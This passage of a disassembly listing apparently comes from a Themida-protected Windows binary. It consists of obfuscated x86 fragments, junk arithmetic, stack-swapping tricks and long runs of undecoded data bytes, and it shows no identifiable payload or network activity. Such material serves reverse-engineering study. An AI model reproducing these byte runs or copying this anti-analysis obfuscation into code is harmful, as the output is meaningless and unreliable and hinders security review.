74h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557487: ; CODE XREF: Themida_:0056015Cj xor ebx, 96A469A3h jmp loc_55599D ; --------------------------------------------------------------------------- loc_557492: ; CODE XREF: Themida_:00565BA7j shl esi, 7 not esi inc esi jmp loc_55C036 ; --------------------------------------------------------------------------- db 0BBh, 13h, 2Fh dd 5C013D1Eh, 815B0824h, 48042444h, 11B6677h, 8104245Ch dd 4804246Ch, 811B6677h, 1304246Ch, 8B3D1E2Fh, 0C483241Ch dd 2434FF04h, 0E92434FFh, 83ECh, 0E9242489h, 7A66h, 240C8B66h dd 685B5453h, 272Ah, 0BE243489h, 12C333ECh, 0D951E9h, 0D0005800h dd 0E924148Bh, 1998h ; --------------------------------------------------------------------------- loc_557500: ; CODE XREF: Themida_:00564635j sub ecx, ebx add ecx, 6D25708Dh jmp loc_55C55D ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 2C48324h, 0EC81DEF6h, 2, 24148966h, 87FCE9h, 24248900h dd 4240481h, 0E9000000h, 312Fh, 0FC4A5D68h, 0E952591Ah dd 0FFFFE79Ch, 81E38953h, 4C3h, 5CF9E900h, 8F540000h, 62E92404h db 0AFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557557: ; CODE XREF: Themida_:00558B56j add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], edx push ecx jmp loc_5579BE ; --------------------------------------------------------------------------- loc_557573: ; CODE XREF: Themida_:005575A2j add edi, 4 jmp loc_5607F6 ; --------------------------------------------------------------------------- dw 0F381h dd 3C0F7013h, 0FFF69AE9h db 0FFh ; --------------------------------------------------------------------------- loc_557589: ; CODE XREF: Themida_:005659DCj mov ecx, [esp] add esp, 4 xchg edi, [esp] pop esp mov [esp], ebp push 1 pop ebp push edi mov edi, esp jmp loc_557573 ; --------------------------------------------------------------------------- db 80h dd 0F65216CEh, 5A012454h, 800BCE80h, 0F388E3F6h, 83E3805Ah dd 5208EBC0h, 0D6F6DE88h, 9C3AE9h, 2EA5BA00h, 0EA810D43h dd 251F1D8Eh, 0AEDEB850h, 0C229A4A6h, 19F6E958h, 0C4810000h dd 4, 51585450h, 4B9h, 59C80100h, 42Dh, 0A5EAE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5575FE: ; CODE XREF: Themida_:005569E6j mov edi, eax jmp loc_5585CE ; --------------------------------------------------------------------------- db 1, 0D8h, 0E9h dd 63EBh, 0FF241489h, 5A042474h, 8B24048Fh, 0E9F72424h dd 9E6EE9h, 0CFF5200h, 4985E924h, 348B0000h, 4C48324h dd 2C781h, 0EC810000h, 4, 54240489h, 128CE958h, 2C8B0000h dd 4C48124h, 87000000h, 0E95C2434h, 744Ch, 4E685A50h, 89000040h dd 7C682434h, 89000014h, 0EC832414h, 242C8904h, 3F51B951h dd 0E9830A2Eh, 57414101h, 486146BFh, 64CF8140h, 0C110436Dh dd 0CF8105E7h, 0E51636Fh, 0DAC7814Fh, 29490A64h, 0C1815FF9h dd 68764D01h, 159CD89h, 8B04246Ch, 0C481242Ch, 4, 8124348Bh dd 4C4h, 0F1BFE900h, 525C0000h, 6602EC83h, 0B4240489h dd 0AAE5E9B9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5576CE: ; CODE XREF: Themida_:0055BD69j add ebp, edi add ebp, 56747B90h jmp loc_557C0B ; --------------------------------------------------------------------------- db 83h dd 48F04C4h, 7E95C24h, 81FFFFA0h, 0A96CDDEAh, 0B6E95F03h db 0BBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5576F3: ; CODE XREF: Themida_:0055A058j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_564398 ; --------------------------------------------------------------------------- loc_557705: ; CODE XREF: Themida_:00552B16j xchg edx, [esp] pop esp mov [esp], edx push 60DAh mov [esp], ebx push edx push ebx jmp loc_5640CF ; --------------------------------------------------------------------------- db 0C1h dd 0C38105E3h, 0CEB85682h, 875BDA01h, 525C2414h, 51E905B6h dd 10000EDh, 24148BD0h, 4C481h, 4870000h, 24248B24h, 86DEE9h dd 24048100h, 4, 0A04CE9h, 0C1C28100h, 8177572Bh, 0BD112BC2h dd 0E9CA010Dh, 3D3Ch ; --------------------------------------------------------------------------- loc_557768: ; CODE XREF: Themida_:005639EAj add esi, ebp push ebx push esi mov esi, 1985451Ah mov ebx, esi pop esi sub esi, ebx pop ebx sub esi, 56D74610h mov ebp, [esp] push esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] xor esi, 8F5592D7h sub esp, 4 mov [esp], esi push esi mov esi, 7C7070E3h xor [esp+4], esi pop esi pop ecx xor ecx, 7C7070E3h push dword ptr [esp] pop esi jmp loc_5587E2 ; --------------------------------------------------------------------------- db 8Bh dd 0E9F62424h, 0CCB60F66h, 80E95456h db 0A3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5577CF: ; CODE XREF: Themida_:005636FDj sub bx, dx jmp loc_5634AD ; --------------------------------------------------------------------------- loc_5577D7: ; CODE XREF: Themida_:00561E7Fj or eax, edx pop edx xor eax, 5178788Ch sub eax, 529D3866h jmp loc_55707D ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 8F04C483h, 248B2404h, 5A545224h, 4C281h, 0E9500000h dd 0FFFFB76Ah, 4941E1D1h, 0D16AE955h, 875D0000h, 895C2414h dd 4BF243Ch, 81000000h, 46037DEDh, 0E9FD2978h, 0FFFFCCC1h dd 50243C8Bh, 405E089h, 83000000h, 48704C0h, 0CD815C24h dd 34FE3D2Eh, 0DDF7DDF7h, 0F74DDDF7h, 13ED81D5h, 683E72D6h dd 3308h, 89243C89h, 5F5A57EFh, 5AD0015Dh, 0CCE9D829h dd 310000DEh, 0C33240Ch, 0E904E924h, 0FE310000h, 5EF1315Fh dd 5759CB31h, 2B16A9BFh, 0F781471Ah, 0EA56534h, 815FFB31h dd 0D45FEAC7h, 0E9DF011Dh, 0F21Eh, 39E9D0F7h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55789F: ; CODE XREF: Themida_:00566D0Ej add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi mov esi, 804026h add edi, esi pop esi jmp loc_56256E ; --------------------------------------------------------------------------- dd 136F8805h, 24348B03h, 81E28952h, 4C2h, 4C28300h, 2474FF52h dd 0B7E95A04h, 81000094h, 0D7EF5DF6h, 5EF10183h, 2474FF51h dd 48F5904h, 0EC815C24h, 4, 56241489h, 8073E9h, 68505200h dd 422572A3h, 1AF9E9h, 97EF8100h, 1B333A0h, 0B7E95FFAh dd 4100008Bh, 0F708E1C1h, 5C181D1h, 1A1C6E9h, 240C8BCBh dd 8104C483h, 4C3h, 7AF4E900h, 2C310000h, 242C3324h, 2924248Bh dd 0E99C2404h, 0FFFF9DA6h, 0EBF5815Dh, 1CC5D3Fh, 242C8BE9h dd 3B30E9h, 5CB900h, 0A1E97AFBh, 89FFFFFEh, 0CBD7E9EAh dd 3C890000h, 1DC4BF24h, 0C7817BA9h, 49BA209Eh, 0FFAAD0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55797D: ; CODE XREF: Themida_:005607C7j add esi, ecx pop ecx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_552391 ; --------------------------------------------------------------------------- loc_557991: ; CODE XREF: Themida_:005645E9j push edx jmp loc_563C53 ; --------------------------------------------------------------------------- db 59h dd 4C181h, 0C1810000h, 4, 5C240C87h, 5602C683h, 42474FFh dd 8324348Bh, 48F04C4h, 0DE43E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5579BE: ; CODE XREF: Themida_:0055756Ej push eax mov eax, 1E9F6354h mov ecx, eax pop eax jmp loc_5607FC ; --------------------------------------------------------------------------- loc_5579CC: ; CODE XREF: Themida_:005568CFj shl ch, 6 xor ch, 2Ch add bh, ch pop ecx xor al, bh pop ebx jmp loc_556EB6 ; --------------------------------------------------------------------------- loc_5579DD: ; CODE XREF: Themida_:00559CB1j mov ecx, esp jmp loc_555D6F ; --------------------------------------------------------------------------- loc_5579E4: ; CODE XREF: Themida_:00557BE5j add bl, 0E1h sub bl, 0A4h pop edx jmp loc_5532EC ; --------------------------------------------------------------------------- dd 81FFEF83h, 0F150E2EFh, 63C78155h, 293FE82Ah, 0BD555FFBh dd 2A893486h, 0B8BCE9h, 0EA815900h, 6CC63769h, 0C281F229h dd 6CC63769h, 2FCBC281h, 0C28117B9h, 6E719ABh, 8324348Bh dd 0C20104C4h, 0E95A0A89h, 0FFFF9CB6h, 8704C783h, 3EE9243Ch dd 660000DDh, 56240C8Bh, 4EC81h, 8F540000h, 0E3E92404h db 0C6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557A57: ; CODE XREF: Themida_:00558D6Aj push ebx push ebp mov ebp, 50DB673Dh jmp loc_561632 ; --------------------------------------------------------------------------- loc_557A63: ; CODE XREF: Themida_:005614FAj push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push ebx jmp loc_55AE5E ; --------------------------------------------------------------------------- loc_557A7C: ; CODE XREF: Themida_:0055DC62j xor ecx, [esp] pop esp push 184Ch mov [esp], esi mov esi, 54D977E2h shl esi, 7 push 25CDh mov [esp], edi jmp loc_56579A ; --------------------------------------------------------------------------- loc_557A9D: ; CODE XREF: Themida_:0055E8EBj add ebx, edi pop edi sub ebx, 4ECE5B42h add ebx, edi add ebx, 4ECE5B42h jmp loc_555429 ; --------------------------------------------------------------------------- db 88h dd 0E9D188C2h, 1889h, 0DDE9D029h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557AC3: ; CODE XREF: Themida_:00562428j add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_557F52 ; --------------------------------------------------------------------------- db 1 dd 0F8B0E9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557ADA: ; CODE XREF: Themida_:0055AB11j add al, bh pop ebx mov edx, [esp] add esp, 4 add bl, 69h push edx push ebx mov bl, 0C1h shr bl, 6 neg bl xchg dh, bl push edx not byte ptr [esp+1] jmp loc_55814A ; --------------------------------------------------------------------------- loc_557AFB: ; CODE XREF: Themida_:00560D6Bj push 286Bh mov [esp], ebx jmp loc_558F97 ; --------------------------------------------------------------------------- dd 8BD7015Dh, 0C4812414h, 4, 3C8BF809h, 4C48324h, 1DBE5640h dd 1088254h, 0C5015EF0h, 0CE68E958h, 0C781FFFFh, 4, 4BB53h dd 0DF290000h, 243C875Bh, 0D096E9h db 0 ; --------------------------------------------------------------------------- loc_557B45: ; CODE XREF: Themida_:00554854j xchg edi, [esp] pop esp jmp loc_565C75 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 4C181h, 0FE90000h, 5B0000A0h, 4C481h, 0F0E90000h dd 5AFFFFE5h, 240CFF51h, 0C24FE959h, 0FE29FFFFh, 546BEE81h dd 97E91379h, 0BDFFFFB5h, 4, 0FFEDFBE9h db 0FFh ; --------------------------------------------------------------------------- loc_557B8D: ; CODE XREF: Themida_:00557336j xchg ecx, [esp] pop esp add ebp, 1CF43A5Eh add ebp, eax sub ebp, 1CF43A5Eh push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_564FC8 ; --------------------------------------------------------------------------- dd 241C8B66h, 0E902C483h, 2CDBh ; --------------------------------------------------------------------------- loc_557BBC: ; CODE XREF: Themida_:0055BBD0j add edi, 16ED5586h sub ebx, edi jmp loc_55800C ; --------------------------------------------------------------------------- db 0F7h, 0DFh, 0C1h dd 0BFE907EFh, 56FFFFA9h, 2A4557BEh, 0E9DEF71Fh, 120Fh ; --------------------------------------------------------------------------- loc_557BE0: ; CODE XREF: Themida_:00562972j sub bl, 0E1h sub bl, dl jmp loc_5579E4 ; --------------------------------------------------------------------------- loc_557BEA: ; CODE XREF: Themida_:0055382Fj push 4A3Eh jmp loc_5580AE ; --------------------------------------------------------------------------- dd 4C481h, 0C2810000h, 4, 8B241487h, 78E92424h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557C0B: ; CODE XREF: Themida_:005576D6j pop edi add eax, ebp mov ebp, [esp] add esp, 4 push 4433h mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_561507 ; --------------------------------------------------------------------------- dd 8124148Bh, 4C4h, 2BCFE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557C3E: ; CODE XREF: Themida_:0056395Aj add esp, 4 shr ecx, 7 push 56E0h mov [esp], edi mov edi, esp sub esp, 4 jmp loc_5650B2 ; --------------------------------------------------------------------------- loc_557C5C: ; CODE XREF: Themida_:00566B57j mov esi, [esp] add esp, 4 add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp div ecx push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_55D3B4 ; --------------------------------------------------------------------------- loc_557C88: ; CODE XREF: Themida_:00561DE9j push eax mov eax, 65AB54C8h add eax, 2DD96DD7h add eax, 681A2FB0h xor eax, 2A9E72E1h add eax, 2EFF7F56h push esi mov esi, esp push edi mov edi, 0DCF3DB0h jmp loc_55B362 ; --------------------------------------------------------------------------- dd 0FF2434FFh, 81582434h, 4ECh, 240C8900h, 52565954h, 0BF1A8F68h dd 0F2815A47h, 3ABC1B87h, 2CE9D689h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557CD7: ; CODE XREF: Themida_:00563934j mov esp, [esp] mov [esp], eax mov ah, 90h push ebx mov bl, 2Dh and ah, bl pop ebx push edx jmp loc_562F20 ; --------------------------------------------------------------------------- db 66h dd 81240C8Bh, 4ECh, 9083E900h, 0D0010000h, 0DD127A05h dd 1739E949h, 0C6810000h, 3C924AA4h, 1AF9E9h, 0A073BE00h dd 0F131FDC3h, 59CA895Eh, 0D7E9D029h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_557D23: ; CODE XREF: Themida_:00551743j neg bh xor bh, 2Eh sub dl, bh pop ebx xor cl, dl pop edx jmp loc_55FCFF ; --------------------------------------------------------------------------- db 5 dd 4, 4EC81h, 3C890000h, 0AAE95124h, 0C0FFFFE9h, 0DAF605EAh dd 0E947F280h, 0FFFF9D84h, 24E94559h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557D5B: ; CODE XREF: Themida_:0055D202j push ebx mov ebx, 6642D21h and ebx, 7E4B0857h xor ebx, 57BB7D02h xor edi, ebx pop ebx jmp loc_564A61 ; --------------------------------------------------------------------------- loc_557D75: ; CODE XREF: Themida_:00564911j sub eax, 7C94D5Dh pop ebx add eax, edx push 458Fh jmp loc_563A91 ; --------------------------------------------------------------------------- db 8Bh dd 0FAE9240Ch, 570000D7h, 560F1BBFh, 5FFB2121h, 2AE3814Bh dd 816EAB20h, 467AB8F3h, 81DBF736h, 2AC7F8F3h, 49ED8187h dd 0E953067Fh, 62F6h ; --------------------------------------------------------------------------- loc_557DB8: ; CODE XREF: Themida_:00562770j pop ebx sub edi, 20762A08h and edi, 592F7F62h shr edi, 1 push 1F99h mov [esp], ebx mov ebx, 109A5E94h xor edi, ebx pop ebx jmp loc_5537FC ; --------------------------------------------------------------------------- loc_557DDC: ; CODE XREF: Themida_:005604FEj sub eax, edx pop edx add eax, 76182A49h push ebp mov ebp, 687879E6h sub eax, ebp mov ebp, [esp] add esp, 4 add eax, edi add eax, 687879E6h sub eax, 76182A49h add eax, 29A304FBh push 76E0h mov [esp], ebx push 0 mov ebx, [esp] add esp, 4 add ebx, 34EA0A3Ah sub ebx, 4D295CADh add ebx, eax add ebx, 4D295CADh jmp loc_557245 ; --------------------------------------------------------------------------- aVS db '^V]éÁì',0 align 2 a1S db '1,$éÀ½',0 align 2 dw 0C483h dd 8BC28904h, 0C4812404h, 4, 0A659E956h, 0C2810000h, 4 dd 8704EA83h, 895C2414h, 32E9241Ch db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557E6B: ; CODE XREF: Themida_:00559A5Fj mov [esp], ecx mov cl, 0B2h push edx mov dl, 0ECh push edx not byte ptr [esp] pop edx jmp loc_566579 ; --------------------------------------------------------------------------- aRvhWL4SS db 'RVh',8,'WË"‹4$é|s',0 align 4 aHsm db 'hSm',0 dd 53E95B02h, 810000A6h, 0F1A82BC2h, 5AD60108h, 348BF589h dd 0A8CBE924h, 14F70000h, 24148B24h, 0FFC85DE9h, 8DE95BFFh db 0D4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557EBB: ; CODE XREF: Themida_:00553BE1j mov ecx, esp add ecx, 4 push ebp jmp loc_562B51 ; --------------------------------------------------------------------------- loc_557EC9: ; CODE XREF: Themida_:0055D34Dj add esp, 4 add edx, 97618DFh shl edx, 2 add edx, 7F05747Ah jmp loc_558618 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 242C8900h, 0C581E589h, 4, 88EAE9h, 2434FF00h dd 0D60FE958h, 0EB81FFFFh, 7E1812E8h, 0EBE4E9h db 0 ; --------------------------------------------------------------------------- loc_557F0D: ; CODE XREF: Themida_:00558B68j push esi mov si, 28A2h add si, 0E9Eh push ebx mov bx, 1AE9h add bx, 0AE67h jmp loc_55DECB ; --------------------------------------------------------------------------- loc_557F26: ; CODE XREF: Themida_:0055E394j mov edx, esi jmp loc_55B89B ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 8A10E9h, 9EA8100h, 42685141h, 0C281D2F7h, 0C21E5FE5h dd 815AD389h, 570D07EBh, 8A4FE93Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_557F52: ; CODE XREF: Themida_:00557ACEj push esi mov esi, esp push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_55F2D8 ; --------------------------------------------------------------------------- db 59h, 2Ch, 0DFh dd 9BF6E9h, 4EC8300h, 1475E9h, 0BE56AD00h, 5B804E9Ch, 3708E9h dd 4C48100h, 81000000h, 7563E6C5h, 0E9F5010Ah, 32E4h, 335EF229h dd 14312414h, 24143324h, 8924248Bh, 0E589242Ch, 4C581h dd 0C5830000h, 242C8704h, 0B60BE9h db 0 ; --------------------------------------------------------------------------- loc_557FBD: ; CODE XREF: Themida_:00552ABAj add esp, 4 jmp loc_565833 ; --------------------------------------------------------------------------- db 5, 6, 40h dd 0C0E9764Dh, 83FFFFF2h, 148904ECh, 815A5424h, 4ECh, 240C8900h dd 4B9h, 0F76BE900h, 0C481FFFFh, 4, 4BEABF57h, 0EFC14E51h dd 0B6E94F06h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557FFF: ; CODE XREF: Themida_:0055B814j add eax, 4 add eax, 4 jmp loc_552648 ; --------------------------------------------------------------------------- loc_55800C: ; CODE XREF: Themida_:00557BC4j pop edi jmp loc_5637FE ; --------------------------------------------------------------------------- a_wt_sbi db '_WT_éBI',0 dw 8100h dd 4C6h, 4EE8100h, 87000000h, 0E95C2434h, 0FFFFC7B5h, 1A54C181h dd 2C8B7B6Dh, 4C48124h, 51000000h, 0C181E189h, 4, 8704E983h dd 895C240Ch, 74FF240Ch, 34FF0424h, 240C8B24h, 0E7A6E950h dd 0F0280000h, 68045804h, 2434FF5Ah, 49C2E9h, 0E9222C00h dd 0A158h, 0EC815A66h, 4, 0FFA33FE9h, 56E289FFh, 20611CBEh dd 0B5CE8134h, 0F705A54Bh, 0C6814EDEh, 35A56BC2h, 6FD1E9h db 0 ; --------------------------------------------------------------------------- loc_5580A1: ; CODE XREF: Themida_:00562AB2j xor edx, 0CC979F66h add esi, edx jmp loc_563F31 ; --------------------------------------------------------------------------- loc_5580AE: ; CODE XREF: Themida_:00557BEFj mov [esp], ebp jmp loc_563B59 ; --------------------------------------------------------------------------- loc_5580B6: ; CODE XREF: Themida_:00558629j or eax, eax jnz loc_55A7BA push 0CC7h mov [esp], esi mov esi, 79F651F1h push 79F651F2h push dword ptr [esp] jmp loc_5659E1 ; --------------------------------------------------------------------------- loc_5580D8: ; CODE XREF: Themida_:00554770j add ebx, 7F9C3415h xor ebx, 3DC38F3h shr ebx, 2 jmp loc_55A42E ; --------------------------------------------------------------------------- dd 4E3C14Bh, 0B9A5C381h, 0DA89CAFAh, 0FFFDB8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5580FD: ; CODE XREF: Themida_:00552306j pop ebx sub ecx, ebx add ecx, 14A52333h push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_55E7B4 ; --------------------------------------------------------------------------- loc_558123: ; CODE XREF: Themida_:00562446j push ebx mov ebx, 1A1A6E13h neg ebx or ebx, 658C16D3h or ebx, 1BAD3F38h and ebx, 309C6722h add ebx, 0CF73D8E2h mov ebp, ebx jmp loc_564376 ; --------------------------------------------------------------------------- loc_55814A: ; CODE XREF: Themida_:00557AF6j pop edx xchg dh, bl jmp loc_55DD99 ; --------------------------------------------------------------------------- loc_558152: ; CODE XREF: Themida_:00564BC3j push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_552868 ; --------------------------------------------------------------------------- loc_55815F: ; CODE XREF: Themida_:00559388j mov [esp], eax push ebx mov eax, [esp] add esp, 4 jmp loc_565677 ; --------------------------------------------------------------------------- loc_558171: ; CODE XREF: Themida_:0056189Bj mov [esp], ecx push 0FFFFFFFFh jmp loc_555165 ; --------------------------------------------------------------------------- dw 0C058h dd 0E38004EBh, 0E95266F4h, 2EB8h, 208FF681h, 0F1890032h dd 2109E9h, 175BF00h, 0EC830C27h, 24048904h, 7D181DB8h dd 4E8C11Ah, 912CE9h, 5946BB00h, 0EB8155E6h, 1EBF064Bh dd 0E95BDE31h, 5503h, 0B9240C89h, 4, 73D1C381h, 85E9537Fh dd 890000E4h, 5EBE2434h, 29067A12h, 0DA42E9F2h, 2C89FFFFh dd 0A668E924h, 0FF57FFFFh, 5F042474h, 8B24048Fh, 0F1E92424h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5581FF: ; CODE XREF: Themida_:00552C47j mov eax, 4B1740DAh jmp loc_56224F ; --------------------------------------------------------------------------- db 50h, 0B0h, 77h dd 0FFB5E1E9h db 0FFh ; --------------------------------------------------------------------------- loc_558211: ; CODE XREF: Themida_:00551F51j push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_56105A ; --------------------------------------------------------------------------- db 89h, 0E6h, 81h dd 4C6h, 2EE8100h, 87000000h, 33E92434h, 68000062h, 6439h dd 83240489h, 148904ECh, 0D0E2B224h, 0E2CA80EAh, 0CA68DAF6h dd 0E900004Ch, 27C5h, 241C8B66h, 2C481h, 74E90000h, 890000C5h dd 94D68E7h, 0B3E90000h, 5800004Ah, 7A685350h, 8B65A91Eh dd 0C483241Ch, 0E9585304h, 6664h, 0BC25E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558292: ; CODE XREF: Themida_:00551DC0j xchg ebp, edi not ebp push edi sub esp, 4 mov [esp], ebp jmp loc_556B3A ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48124h, 81000000h, 4ECh, 243C8900h, 5C3DDDBFh, 3EFC10Dh dd 0DD0E9h, 58C18800h, 0FFB889E9h db 0FFh ; --------------------------------------------------------------------------- loc_5582C9: ; CODE XREF: Themida_:0055A892j shl edx, 8 push ebp push ebx push esi mov esi, 6A627B88h mov ebx, esi pop esi mov ebp, 15FE4A6h add ebp, ebx pop ebx sub edx, 1DD633CFh sub edx, ebp push ecx mov ecx, 1DD633CFh add edx, ecx jmp loc_556369 ; --------------------------------------------------------------------------- dd 0E8C1E0D1h, 0CBBFE905h, 3C680000h, 0E900001Eh, 0FFFF970Ah dd 1415F681h, 0E95364C5h, 31A1h, 0BD55C201h, 51F43EBCh dd 570FEA81h, 0EA8170A0h, 7C531199h, 0C281EA01h, 7C531199h dd 570FC281h, 2C8B70A0h, 0CE86E924h, 0BE56FFFFh, 19D06B6Ah dd 0F7FFC683h, 0EA768D6h, 3C890000h, 0E36CE924h, 24890000h dd 24048124h, 4, 1AE9565Fh, 8B000096h, 0C483242Ch, 937CE904h dd 0B60FFFFFh, 8734FFC0h, 0E92434FFh, 7B7Ah, 8E63E954h dd 47660000h, 27C78166h, 21CBE908h, 0EB800000h, 24048B72h dd 5E08950h, 4, 5004C083h, 42474FFh, 24048F58h, 0FFDC4CE9h dd 4EE81FFh, 0E9000000h, 0A8A8h, 0C281E289h, 4, 8704EA83h dd 895C2414h, 55B82404h, 0C144E827h, 776803E8h, 89000008h dd 57BE2434h, 817C1E5Fh, 22BCF3C6h, 8BF009D6h, 89522434h dd 1FBB53E2h, 51761542h, 436528B9h, 0E9CB317Ah, 1628h ; --------------------------------------------------------------------------- loc_558404: ; CODE XREF: Themida_:0055C958j push ebp mov ebp, 7F13E64h push esi jmp loc_56310D ; --------------------------------------------------------------------------- dd 5003E5C0h, 5066B4B0h, 0C528C9B0h, 0FFD013E9h, 243C87FFh dd 0C8BDE95Ch, 405FFFFh, 0F724C317h, 0C535E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 4 add ebp, eax jmp loc_553238 ; --------------------------------------------------------------------------- dw 0C181h dd 8288C306h, 0E959CE01h, 0FFFFD263h ; --------------------------------------------------------------------------- loc_558454: ; CODE XREF: Themida_:005669F5j sub ecx, 7C6CE916h jmp loc_553F82 ; --------------------------------------------------------------------------- db 68h dd 3A8Dh, 0E9240489h, 839Bh ; --------------------------------------------------------------------------- loc_55846C: ; CODE XREF: Themida_:00566223j mov edx, 4 sub edi, edx pop edx xchg edi, [esp] pop esp mov [esp], esi jmp loc_5524B8 ; --------------------------------------------------------------------------- loc_558480: ; CODE XREF: Themida_:00563785j sub esp, 4 mov [esp], esp jmp loc_55E87A ; --------------------------------------------------------------------------- loc_55848E: ; CODE XREF: Themida_:005564AAj pop ebp sub ebp, 8FA6577Bh jmp loc_55B865 ; --------------------------------------------------------------------------- dw 0C331h dd 582434FFh, 0E95F5457h, 0FFFFE45Dh, 26CBB53h, 0DE09227Ah dd 973E9h, 3F5C6800h, 2C890000h, 198D6824h, 2C8B04C4h dd 0D06DE924h, 0E1C1FFFFh, 6E1C105h, 47E3C181h, 0EC8354D8h dd 0B67FE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5584DE: ; CODE XREF: Themida_:0055FB96j shr edi, 4 add edi, 0F8040807h add ebx, edi pop edi jmp loc_55D160 ; --------------------------------------------------------------------------- db 80h dd 0C5FE6EE5h, 28C9F580h, 34FF59E8h, 0C4835A24h, 0FB6BE904h dd 8358FFFFh, 1C8704EBh, 1C895C24h, 8179E924h, 3A2C0000h dd 0D1E9F800h, 8900005Bh, 240C8BCFh, 4C481h, 0EF870000h dd 0D7F7FD87h, 0FFB4D1E9h, 3E94DFFh db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_560820 ; --------------------------------------------------------------------------- loc_558543: ; CODE XREF: Themida_:00565F39j sub ebp, ebx push dword ptr [esp] pop ebx add esp, 4 add ecx, ebp pop ebp push ebx push 2 mov ebx, [esp] add esp, 4 push ebx jmp loc_5522FF ; --------------------------------------------------------------------------- dd 0DBB45051h, 0C0F6B450h, 0ECD006ECh, 0FFBA35E9h, 0FD3158FFh dd 8BE8215Fh, 0C483242Ch, 0FC00B04h, 63584h, 1C77FF00h dd 81240C8Bh, 4ECh, 24348900h, 0EC83E689h, 7788E904h, 0BB0000h dd 29000000h, 192EE9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5585AE: ; CODE XREF: Themida_:0055185Cj xchg edi, [esp] jmp loc_562801 ; --------------------------------------------------------------------------- dw 0C680h dd 0A113E901h, 2C89FFFFh, 0FFFF6824h, 295DFFFFh, 0A946E9EEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5585CE: ; CODE XREF: Themida_:00557600j pop eax jmp loc_56348C ; --------------------------------------------------------------------------- loc_5585D4: ; CODE XREF: Themida_:00561EF4j mov esi, 468E073Eh sub eax, esi pop esi jmp loc_55CF4D ; --------------------------------------------------------------------------- loc_5585E1: ; CODE XREF: Themida_:00562422j push esi jmp loc_566326 ; --------------------------------------------------------------------------- aXsp db 'Xé³',0 dd 5AC58100h, 81974CE7h, 0B82CEEE9h, 0C3DDE915h, 0C481FFFFh dd 4, 0CF10E9h db 0 ; --------------------------------------------------------------------------- loc_558609: ; CODE XREF: Themida_:00563389j push ecx not dword ptr [esp] mov ecx, [esp] push eax mov eax, esp jmp loc_56247C ; --------------------------------------------------------------------------- loc_558618: ; CODE XREF: Themida_:00557EDEj shl edx, 5 push ebp mov ebp, 67DEEFECh jmp loc_55CC85 ; --------------------------------------------------------------------------- loc_558626: ; CODE XREF: Themida_:0055401Cj mov esp, [esp] jmp loc_5580B6 ; --------------------------------------------------------------------------- loc_55862E: ; CODE XREF: Themida_:0055D938j or esi, ecx push dword ptr [esp] jmp loc_561264 ; --------------------------------------------------------------------------- dd 4240483h, 81242C8Bh, 4C4h, 0A2BE5600h, 0E937821Ah, 0FFFFC705h dd 2130EE81h, 2BE95B63h, 810000E4h, 4ECh, 24048900h, 805AE9h db 0 ; --------------------------------------------------------------------------- loc_558669: ; CODE XREF: Themida_:0055F29Dj push ebp push esp pop ebp add ebp, 4 push esi jmp loc_561137 ; --------------------------------------------------------------------------- dd 242C8758h, 24048F5Ch, 8B24248Bh, 0E951240Ch, 0FFFFC76Dh dd 4EC81h, 4890000h, 0BA23E924h, 0C1800000h, 2434FFAFh dd 0E924048Bh, 0D3B4h, 0EBEF815Bh, 1387156h, 4558E9DFh dd 3C890000h, 281D6824h, 1C890000h, 18BA5224h, 0C1464B3Bh dd 